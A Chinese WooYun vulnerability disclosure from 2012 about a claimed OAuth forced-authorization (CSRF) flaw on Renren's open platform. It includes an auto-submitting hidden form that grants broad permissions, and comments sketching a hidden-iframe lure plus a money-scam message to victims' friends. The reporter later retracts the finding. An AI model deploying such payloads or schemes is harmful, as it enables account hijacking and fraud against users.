当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015662

漏洞标题:人人网开放平台第三方应用oauth强制授权漏洞

相关厂商:人人网

漏洞作者: 小点兵

提交时间:2012-12-05 18:29

修复时间:2013-01-19 18:29

公开时间:2013-01-19 18:29

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-05: 细节已通知厂商并且等待厂商处理中
2012-12-06: 厂商已经确认,细节仅向厂商公开
2012-12-16: 细节向核心白帽子及相关领域专家公开
2012-12-26: 细节向普通白帽子公开
2013-01-05: 细节向实习白帽子公开
2013-01-19: 细节向公众公开

简要描述:

利用此漏洞,在人人网开放平台注册的第三方应用可以跳过询问用户是否授权的页面,而直接拿到用户的授权。由于跳过了询问用户授权界面,恶意第三方可以直接骗取最高授权,从而可以访问用户敏感信息,访问用户好友信息,冒充用户发布日志,分享等。具体可用非法操作可参见http://wiki.dev.renren.com/wiki/API

详细说明:

正常的oauth授权流程应符合如下几个步骤(假设人人网用户已经登录):
1,在http://app.renren.com/点击应用
2,访问应用网址,比如:http://www.friendoc.net/friendoc/v3.1/
3, 应用从定向用户到询问是否授权网页,比如 http://graph.renren.com/oauth/grant?client_id=c6e5f5a7b7754fcbb9b1f3ae41d290ee&redirect_uri=http%3A%2F%2Fwww.friendoc.net%2Ffriendoc%2Fv3.1%2Floading.php&response_type=code&display=iframe&scope=read_user_status+create_album+read_user_album+photo_upload+read_user_photo+read_user_blog+read_user_feed+read_user_guestbook+read_user_comment+send_request+publish_comment+publish_checkin&state=200&origin=0 , 询问用户是否授权。此页面详细描述是向什么应用授予什么权限,以帮助用户做出选择
4, 用户点击授权按钮,浏览器向授权服务器http://graph.renren.com/oauth/grant 发送相应的同意授权信息 (POST命令)
5,应用获得授权
此漏洞在于恶意的应用可以在第2步后直接忽略第3步,而执行第4步,因此在未得到用户同意(用户不知情)的情况下,拿到用户的授权。由于少了第3步的保护,用户会在不知情的情况下授权,攻击者拿到授权后,就可以以用户的名义在天涯微博上发布信息,欺骗用户的朋友以获取利益

漏洞证明:

将下面这段代码加入某个人人网嵌入某个链接,然后再人人网中发布诱骗其他用户点击,则应用“好友档案”将强制被骗用户授予scope="read_user_status create_album read_user_album photo_upload read_user_photo read_user_blog read_user_feed read_user_guestbook read_user_comment send_request publish_comment publish_checkin"的权限。注意,任何其他应用都可以做类似的事情。攻击者可以随便注册应用,然后构造类似的form去骗取用户的授权。
人人网支持的API权利还是蛮大的
<form name="form1" action="http://graph.renren.com/oauth/grant" method="POST">
<input type="hidden" name="follow" value="true"/>
<input type="hidden" name="authFeed" value="true"/>
<input type="hidden" name="porigin" value="80104"/>
<input type="hidden" name="redirect_uri" value="http://www.friendoc.net/friendoc/v3.1/loading.php"/>
<input type="hidden" name="client_id" value="c6e5f5a7b7754fcbb9b1f3ae41d290ee"/>
<input type="hidden" name="response_type" value="code"/>
<input type="hidden" name="scope" value="read_user_status create_album read_user_album photo_upload read_user_photo read_user_blog read_user_feed read_user_guestbook read_user_comment send_request publish_comment publish_checkin"/>
<input type="hidden" name="state" value="200"/>
<input type="hidden" name="display" value="iframe"/>
<input type="hidden" name="post_form_id" value="abb488287369e5f274a6fcb9f5c6a480-30-1354700245435"/>
<input type="hidden" name="authorizeOrigin" value="0"/>
</form>
<script type="text/javascript">
document.form1.submit();
</script>

renren.jpg

修复方案:

建议在第3步用户访问的页面中加入随机码,在用户提交同意授权的表单中,需要同时提交这个随机码(或者用户cookie),以保证这个提交表单确实是用户同意的
后者在第4步提交post时,确认referer选项

版权声明:转载请注明来源 小点兵@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2012-12-06 12:24

厂商回复:

感谢对人人网的关注,辛苦了

最新状态:

暂无


漏洞评价:

评论

  1. 2012-12-05 18:46 | Adra1n ( 普通白帽子 | Rank:437 漏洞数:68 )

    我个人觉得你用这个刷分没啥意义,这个洞洞很难利用吧

  2. 2012-12-05 18:58 | 小点兵 ( 普通白帽子 | Rank:126 漏洞数:13 | 这个人很懒。。。)

    @Adra1n 很好利用啊。我给你举个例子:1,攻击者在人人网注册一个应用,获得client_id以及secret2,构造一个script<form name="form1" action="http://graph.renren.com/oauth/grant" method="POST">相应表单</form><script type="text/javascript">document.form1.submit();</script>3,把这个表单用iframe放入一个链接,将iframe大小设置为0.这个链接可以播放有趣的电影或者游戏4,在人人网上发布这个链接,让大家来看看电影啦,玩玩游戏啦。这里注意,人人网上的链接,必须先登录才能访问的,所以可以保证点链接的人已经登录了,哈哈5,一点链接,用户看到的是电影和游戏,但是iframe却用用户的cookie发送了post,进行授权6,对oauth2.0, 表单很简单,因为她向client_id授权。对oauth1.0,需要iframe先load一个攻击者domain下的链接,然后攻击者当场取得request token以及request token secret, 然后重定向去授权request token.7,在做些过程的时候,用户看着电影,玩着游戏呢。。。8,拿到授权后,像用户的好朋友发消息吧,“啊,我缺钱,是哥们的汇款到以下账号XXXXXXX”。不确定用access token发布的消息会不会标识说是某个应用发布的,呵呵

  3. 2012-12-05 19:00 | Adra1n ( 普通白帽子 | Rank:437 漏洞数:68 )

    @小点兵 我一直不太明白这个oauth认证的过程,不好意思啊。

  4. 2012-12-05 19:04 | Adra1n ( 普通白帽子 | Rank:437 漏洞数:68 )

    @小点兵 那这个只要增加referer验证就能防止了吧!

  5. 2012-12-05 19:08 | 小点兵 ( 普通白帽子 | Rank:126 漏洞数:13 | 这个人很懒。。。)

    @Adra1n 是的,不过我还是建议加随机数,毕竟验证referer相当于把自己的安全委托给了浏览器。

  6. 2012-12-05 19:09 | Adra1n ( 普通白帽子 | Rank:437 漏洞数:68 )

    @小点兵 有联系方式吗,向你多多请教下。

  7. 2012-12-05 19:12 | 小点兵 ( 普通白帽子 | Rank:126 漏洞数:13 | 这个人很懒。。。)

    @Adra1n 上次短消息发给过你啊。一起讨论,我也是菜鸟

  8. 2012-12-05 21:50 | 小点兵 ( 普通白帽子 | Rank:126 漏洞数:13 | 这个人很懒。。。)

    此漏洞为误报,已经提交更正,希望版主可以帮我撤回,十分感谢

  9. 2012-12-05 22:21 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @小点兵 http://www.iirr.info/blog/?p=1075

  10. 2012-12-06 01:10 | 小点兵 ( 普通白帽子 | Rank:126 漏洞数:13 | 这个人很懒。。。)

    @小胖胖要减肥 谢谢

  11. 2012-12-06 10:54 | 小点兵 ( 普通白帽子 | Rank:126 漏洞数:13 | 这个人很懒。。。)

    实在抱歉,由于人人网已经用随机的post_form_id对post命令进行了限制,这个漏洞是不存在的,我昨天试验的疏忽,十分抱歉.

  12. 2012-12-06 12:28 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @小点兵 提交的时候请提供一个截图 最好是有证明的 多谢了!

  13. 2012-12-06 12:32 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @xsser 关键字啊关键字 懂了

  14. 2012-12-06 12:36 | 小点兵 ( 普通白帽子 | Rank:126 漏洞数:13 | 这个人很懒。。。)

    @xsser 明白,昨天偷了下懒,直接在fiddle里面复现的。问题就出在post_form_id绑定了单个用户后,在短时间内可以重用,貌似1小时。以后会注意的。同时谢谢人人网,这个还有辛苦分的啊,汗